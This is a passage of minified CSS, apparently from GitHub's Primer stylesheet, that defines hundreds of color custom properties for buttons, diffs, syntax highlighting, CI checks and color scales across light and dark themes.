#8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: 